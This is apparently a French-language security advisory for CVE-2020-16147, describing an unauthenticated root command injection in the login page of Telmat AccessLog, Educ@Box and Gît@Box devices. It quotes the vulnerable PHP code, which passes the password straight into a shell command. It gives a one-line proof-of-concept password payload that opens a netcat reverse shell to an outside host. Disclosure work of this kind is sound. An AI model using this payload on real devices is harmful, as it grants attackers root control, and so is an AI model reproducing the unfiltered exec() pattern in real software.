CVE-2020-16147 - Telmat - Unauthenticated root RCE

  • Titre : Telmat - Unauthenticated root Remote Code Execution
  • Auteur : @Podalirius
  • CVSS : 10 (Critique)
  • CVSS Vector : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Résumé

Une injection de code non authentifiée sur la page de connexion de Telmat AccessLog, Gît@Box et Educ@Box avec la version logicielle <= 6.0 (TAL_20180415) permet l’exécution de code à distance (RCE) en tant que root.

Produits affectés

Constructeur Modèle Version logicielle
TelMat AccessLog <= 6.0 (TAL_20180415)
TelMat Educ@Box <= 6.0 (TAL_20180415)
TelMat Gît@Box <= 6.0 (TAL_20180415)

Exploitation

Cette vulnérabilité a été testée sur un Telmat AccessLog 6.0 (TAL_20180415):

Lors d’un pentest, j’ai trouvé la page de connexion de l’AccessLog. J’ai essayé d’effectuer des injections SQL sur les champs de login et de mot de passe pour contourner le mécanisme d’authentification. J’ai remarqué que la page de connexion avait un comportement inattendu lorsque le mot de passe contenait un guillemet simple '. La page de connexion a été remplacée par une barre de progression pendant environ 10 à 15 minutes pour tous les clients. (Cela pourrait conduire à un déni de service).

En utilisant la RCE authentifiée que j’ai trouvé plus tôt, j’ai extrait le contenu de la page de connexion /authent.php. Après avoir analysé le fonctionnement du mécanisme d’authentification, j’ai trouvé cette partie intéressante (lignes 56 à 72 dans le fichier /authent.php):

if(isset($cpasswd)) {
  unset($res);
  if(strstr($cpasswd,"$apr1$")) {
    $dpsd = explode("$",$cpasswd);
    $salt = $dpsd[2];
    $cmd = "/usr/bin/openssl passwd -apr1 -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
    exec($cmd,$res,$cr);
    $ccpasswd = trim($res[0]);
  } else {
    $salt = mb_substr($cpasswd,0,2);
    $cmd = "/usr/bin/openssl passwd -crypt -salt '" . $salt . "' '" . $_POST['whois_pas'] . "'";
    exec($cmd,$res,$cr);
    $ccpasswd = trim($res[0]);
  }
  // ...
}

Nous pouvons voir que le contenu de la variable whois_pas dans la requête POST est directement ajouté à la ligne de commande, non filtré. Il nous suffit maintenant de fermer le guillemet simple ' et d’ajouter un point-virgule ; et nous pouvons injecter directement des commandes shell. A la fin de notre injection, nous ajoutons un # afin de commenter le reste de la ligne de commande.

Proof of concept reverse shell :

In order to get a reverse shell I used the following payload :

Variable Contenu
Login (whois_adm) poc
Password (whois_pas) '; nc -e /bin/sh 1.2.3.4 4444 #

Nous avons maintenant une RCE non authentifiée, qui nous donne accès à un shell en tant que root:

Remédiations

Afin de corriger cette vulnérabilité, vous devez mettre à jour votre TelMat avec la dernière version.